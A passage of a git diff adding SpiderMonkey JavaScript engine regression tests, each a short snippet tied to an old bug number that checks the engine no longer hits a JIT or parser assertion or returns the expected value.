+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ Object.defineProperty(this, "q", { get: function(){}, enumerable: true, configurable: true });
+ for (var j = 0; j < 4; ++j) q = 1;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452329.js b/js/src/tests/non262/extensions/regress-452329.js
new file mode 100644
index 0000000000..e2d94944c6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452329.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452329;
+var summary = 'Do not assert: *data->pc == JSOP_CALL || *data->pc == JSOP_NEW';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ this.__defineGetter__("x", "".match); if (x) 3;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452338.js b/js/src/tests/non262/extensions/regress-452338.js
new file mode 100644
index 0000000000..2b6842fe5e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452338.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452338;
+var summary = 'Do not assert with JIT: obj2 == obj';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) __count__ = 3;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452498-162.js b/js/src/tests/non262/extensions/regress-452498-162.js
new file mode 100644
index 0000000000..543c9a1b06
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452498-162.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #162 From Gary Kwong
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Assertion failure: !OBJ_GET_CLASS(cx, proto)->getObjectOps, at ../jsobj.cpp:2030
+
+this.__defineGetter__("x3", Function);
+parseInt = x3;
+parseInt.prototype = [];
+for (var z = 0; z < 4; ++z) { new parseInt() }
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-452498-196.js b/js/src/tests/non262/extensions/regress-452498-196.js
new file mode 100644
index 0000000000..5429b04384
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452498-196.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #196 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: lexdep->isLet(), at ../jsparse.cpp:1900
+
+ (function (){
+ var x;
+ eval("var x; (function () { return x; })");
+ }
+ )();
+
+ reportCompare(expect, actual, summary + ': 2');
+}
diff --git a/js/src/tests/non262/extensions/regress-452565.js b/js/src/tests/non262/extensions/regress-452565.js
new file mode 100644
index 0000000000..6ca0e87c4e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452565.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452565;
+var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_READONLY)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var c = undefined; (function() { for (var j=0;j<5;++j) { c = 1; } })();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-452913.js b/js/src/tests/non262/extensions/regress-452913.js
new file mode 100644
index 0000000000..464d403ddf
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452913.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452913;
+var summary = 'Do not crash with defined getter and for (let)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(this.__defineGetter__("x", function (x) { return 'foo'.replace(/o/g, [1].push); }));
+for(let y in [,,,]) for(let y in [,,,]) x = x;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-453249.js b/js/src/tests/non262/extensions/regress-453249.js
new file mode 100644
index 0000000000..910353da9a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-453249.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453249;
+var summary = 'Do not assert with JIT: s0->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.__proto__.a = 3; for (var j = 0; j < 4; ++j) { [a]; }
+
+this.a = 3; for (var j = 0; j < 4; ++j) { [a]; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-454744.js b/js/src/tests/non262/extensions/regress-454744.js
new file mode 100644
index 0000000000..a686889d63
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-454744.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454744;
+var summary = 'Do not assert with JIT: PCVAL_IS_SPROP(entry->vword)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ this.__defineGetter__('x', function() { return 2; }); for (var j=0;j<4;++j) { x=1; }
+ }
+ catch(ex)
+ {
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-455380.js b/js/src/tests/non262/extensions/regress-455380.js
new file mode 100644
index 0000000000..f0405621da
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-455380.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455380;
+var summary = 'Do not assert with JIT: !lhs->isQuad() && !rhs->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+const IS_TOKEN_ARRAY =
+ [0, 0, 0, 0, 0, 0, 0, 0, // 0
+ 0, 0, 0, 0, 0, 0, 0, 0, // 8
+ 0, 0, 0, 0, 0, 0, 0, 0, // 16
+ 0, 0, 0, 0, 0, 0, 0, 0, // 24
+
+ 0, 1, 0, 1, 1, 1, 1, 1, // 32
+ 0, 0, 1, 1, 0, 1, 1, 0, // 40
+ 1, 1, 1, 1, 1, 1, 1, 1, // 48
+ 1, 1, 0, 0, 0, 0, 0, 0, // 56
+
+ 0, 1, 1, 1, 1, 1, 1, 1, // 64
+ 1, 1, 1, 1, 1, 1, 1, 1, // 72
+ 1, 1, 1, 1, 1, 1, 1, 1, // 80
+ 1, 1, 1, 0, 0, 0, 1, 1, // 88
+
+ 1, 1, 1, 1, 1, 1, 1, 1, // 96
+ 1, 1, 1, 1, 1, 1, 1, 1, // 104
+ 1, 1, 1, 1, 1, 1, 1, 1, // 112
+ 1, 1, 1, 0, 1, 0, 1]; // 120
+
+const headerUtils = {
+normalizeFieldName: function(fieldName)
+{
+ if (fieldName == "")
+ throw "error: empty string";
+
+ for (var i = 0, sz = fieldName.length; i < sz; i++)
+ {
+ if (!IS_TOKEN_ARRAY[fieldName.charCodeAt(i)])
+ {
+ throw (fieldName + " is not a valid header field name!");
+ }
+ }
+
+ return fieldName.toLowerCase();
+}
+};
+
+headerUtils.normalizeFieldName("Host");
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-455408.js b/js/src/tests/non262/extensions/regress-455408.js
new file mode 100644
index 0000000000..2f3796c1eb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-455408.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455408;
+var summary = 'Do not assert with JIT: "Should not move data from GPR to XMM": false';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if (({}).__proto__ = 1) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-456826.js b/js/src/tests/non262/extensions/regress-456826.js
new file mode 100644
index 0000000000..009e29790b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-456826.js
@@ -0,0 +1,126 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) slow -- bug 504632
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456826;
+var summary = 'Do not assert with JIT during OOM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof gcparam != 'undefined')
+ {
+ gc();
+ gc();
+ gcparam("maxBytes", gcparam("gcBytes") + 4*1024);
+ expectExitCode(5);
+ expectExitCode(3);
+ }
+
+ const numRows = 600;
+ const numCols = 600;
+ var scratch = {};
+ var scratchZ = {};
+
+ function complexMult(a, b) {
+ var newr = a.r * b.r - a.i * b.i;
+ var newi = a.r * b.i + a.i * b.r;
+ scratch.r = newr;
+ scratch.i = newi;
+ return scratch;
+ }
+
+ function complexAdd(a, b) {
+ scratch.r = a.r + b.r;
+ scratch.i = a.i + b.i;
+ return scratch;
+ }
+
+ function abs(a) {
+ return Math.sqrt(a.r * a.r + a.i * a.i);
+ }
+
+ function computeEscapeSpeed(c) {
+ scratchZ.r = scratchZ.i = 0;
+ const scaler = 5;
+ const threshold = (colors.length - 1) * scaler + 1;
+ for (var i = 1; i < threshold; ++i) {
+ scratchZ = complexAdd(c, complexMult(scratchZ, scratchZ));
+ if (scratchZ.r * scratchZ.r + scratchZ.i * scratchZ.i > 4) {
+ return Math.floor((i - 1) / scaler) + 1;
+ }
+ }
+ return 0;
+ }
+
+ const colorStrings = [
+ "black",
+ "green",
+ "blue",
+ "red",
+ "purple",
+ "orange",
+ "cyan",
+ "yellow",
+ "magenta",
+ "brown",
+ "pink",
+ "chartreuse",
+ "darkorange",
+ "crimson",
+ "gray",
+ "deeppink",
+ "firebrick",
+ "lavender",
+ "lawngreen",
+ "lightsalmon",
+ "lime",
+ "goldenrod"
+ ];
+
+ var colors = [];
+
+ function createMandelSet(realRange, imagRange) {
+ var start = new Date();
+
+ // Set up our colors
+ for (var color of colorStrings) {
+ var [r, g, b] = [0, 0, 0];
+ colors.push([r, g, b, 0xff]);
+ }
+
+ var realStep = (realRange.max - realRange.min)/numCols;
+ var imagStep = (imagRange.min - imagRange.max)/numRows;
+ for (var i = 0, curReal = realRange.min;
+ i < numCols;
+ ++i, curReal += realStep) {
+ for (var j = 0, curImag = imagRange.max;
+ j < numRows;
+ ++j, curImag += imagStep) {
+ var c = { r: curReal, i: curImag }
+ var n = computeEscapeSpeed(c);
+ }
+ }
+ print(Date.now() - start);
+ }
+
+ var realRange = { min: -2.1, max: 2 };
+ var imagRange = { min: -2, max: 2 };
+ createMandelSet(realRange, imagRange);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-459606.js b/js/src/tests/non262/extensions/regress-459606.js
new file mode 100644
index 0000000000..5d7e868133
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-459606.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459606;
+var summary = '(0.1).toFixed()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "0";
+ actual = (0.1).toFixed();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-462734-02.js b/js/src/tests/non262/extensions/regress-462734-02.js
new file mode 100644
index 0000000000..f7ccb5977d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-462734-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ for (x in function(){}) ([]);
+ this.__defineGetter__("x", Function);
+ var obj = Object.create(x);
+ obj.prototype += [];
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-462734-03.js b/js/src/tests/non262/extensions/regress-462734-03.js
new file mode 100644
index 0000000000..c350154fc8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-462734-03.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ Function.prototype.prototype;
+ var obj = Object.create(Function());
+ obj.prototype = obj.prototype;
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-462734-04.js b/js/src/tests/non262/extensions/regress-462734-04.js
new file mode 100644
index 0000000000..a7fbe8f07d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-462734-04.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj;
+try
+{
+ Function.prototype.prototype = function() { return 42; }
+ obj = Object.create(Function());
+ obj.prototype = obj.prototype;
+}
+catch(ex)
+{
+}
+
+expect = 'object';
+actual = typeof obj.prototype;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-465276.js b/js/src/tests/non262/extensions/regress-465276.js
new file mode 100644
index 0000000000..7eb90f91ab
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465276.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465276;
+var summary = '((1 * (1))|""';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ empty = [];
+ out = [];
+ for (var j=0;j<10;++j) { empty[42]; out.push((1 * (1)) | ""); }
+
+ assertEqArray(out, [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-465337.js b/js/src/tests/non262/extensions/regress-465337.js
new file mode 100644
index 0000000000..f5167cb42a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465337.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465337;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var out = [];
+ for (let j = 0; j < 5; ++j) { out.push(6 - ((void 0) ^ 0x80000005)); }
+
+ assertEqArray(out, [2147483649, 2147483649, 2147483649, 2147483649, 2147483649]);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-465443.js b/js/src/tests/non262/extensions/regress-465443.js
new file mode 100644
index 0000000000..4d0e9c13eb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465443.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465443;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: invalid assignment to const \'b\'';
+
+
+ try
+ {
+ eval('(function () { const b = 16; var out = []; for (b of [true, "", true, "", true, ""]) out.push(b >> 1) })();');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-465453.js b/js/src/tests/non262/extensions/regress-465453.js
new file mode 100644
index 0000000000..084276f202
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465453.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465453;
+var summary = 'Do not convert (undefined) to "undefined"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "true,,true,true,,,,,";
+
+ var out = [];
+ for (var e of [(new Boolean(true)),
+ (void 0),
+ (new Boolean(true)),
+ (new Boolean(true)),
+ (void 0),
+ (void 0),
+ "",
+ "",
+ (void 0)])
+ out.push(e);
+ print(actual = out.toString());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-466905-04.js b/js/src/tests/non262/extensions/regress-466905-04.js
new file mode 100644
index 0000000000..c724d0ce00
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-466905-04.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Prototypes of sandboxed arrays';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx != 'function')
+ {
+ expect = actual = 'Test skipped: requires evalcx support';
+ }
+ else
+ {
+ expect = true;
+
+ function createArray()
+ {
+ var a;
+ for (var i = 0; i < 10; i++)
+ a = [1, 2, 3, 4, 5];
+ return a;
+ }
+
+ var sandbox = evalcx("lazy");
+ sandbox.createArray = createArray;
+ var p1 = Object.getPrototypeOf(createArray());
+ var p2 = Object.getPrototypeOf(evalcx("createArray()", sandbox));
+ print(actual = (p1 === p2));
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469234.js b/js/src/tests/non262/extensions/regress-469234.js
new file mode 100644
index 0000000000..2ed0475c62
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469234.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469234;
+var summary = 'TM: Do not assert: !JS_ON_TRACE(cx)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<3;++j)({__proto__:[]}).__defineSetter__('x',function(){});
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469405-01.js b/js/src/tests/non262/extensions/regress-469405-01.js
new file mode 100644
index 0000000000..b1113d9b57
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469405-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469405;
+var summary = 'Do not assert: !regs.sp[-2].isPrimitive()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function() {
+ var a, b;
+ for (a of [{}, {__iterator__: function(){}}]) for (b in a) { }
+ })();
+}
+catch(ex)
+{
+ print('caught ' + ex);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-469405-02.js b/js/src/tests/non262/extensions/regress-469405-02.js
new file mode 100644
index 0000000000..196557e699
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469405-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469405;
+var summary = 'Do not assert: !regs.sp[-2].isPrimitive()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval("__proto__.__iterator__ = [].toString");
+ for (var z = 0; z < 3; ++z) { if (z % 3 == 2) { for(let y in []); } }
+}
+catch(ex)
+{
+ print('caught ' + ex);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-469625-01.js b/js/src/tests/non262/extensions/regress-469625-01.js
new file mode 100644
index 0000000000..aa4d5bbc7d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469625-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'TM: Array prototype and expression closures';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: [].__proto__ is not a function';
+
+
+ Array.prototype.__proto__ = function () { return 3; };
+
+ try
+ {
+ [].__proto__();
+ }
+ catch(ex)
+ {
+ print(actual = ex + '');
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469625.js b/js/src/tests/non262/extensions/regress-469625.js
new file mode 100644
index 0000000000..84610b4889
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469625.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'TM: Do not crash @ js_String_getelem';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ [].__proto__[0] = 'a';
+ for (var j = 0; j < 3; ++j) [[, ]] = [,];
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469761.js b/js/src/tests/non262/extensions/regress-469761.js
new file mode 100644
index 0000000000..2866d18935
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469761.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469761;
+var summary = 'TM: Do not assert: STOBJ_GET_SLOT(callee_obj, JSSLOT_PRIVATE).isInt32()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var o = { __proto__: function(){} };
+ for (var j = 0; j < 3; ++j) { try { o.call(3); } catch (e) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-470300-01.js b/js/src/tests/non262/extensions/regress-470300-01.js
new file mode 100644
index 0000000000..59e10868bf
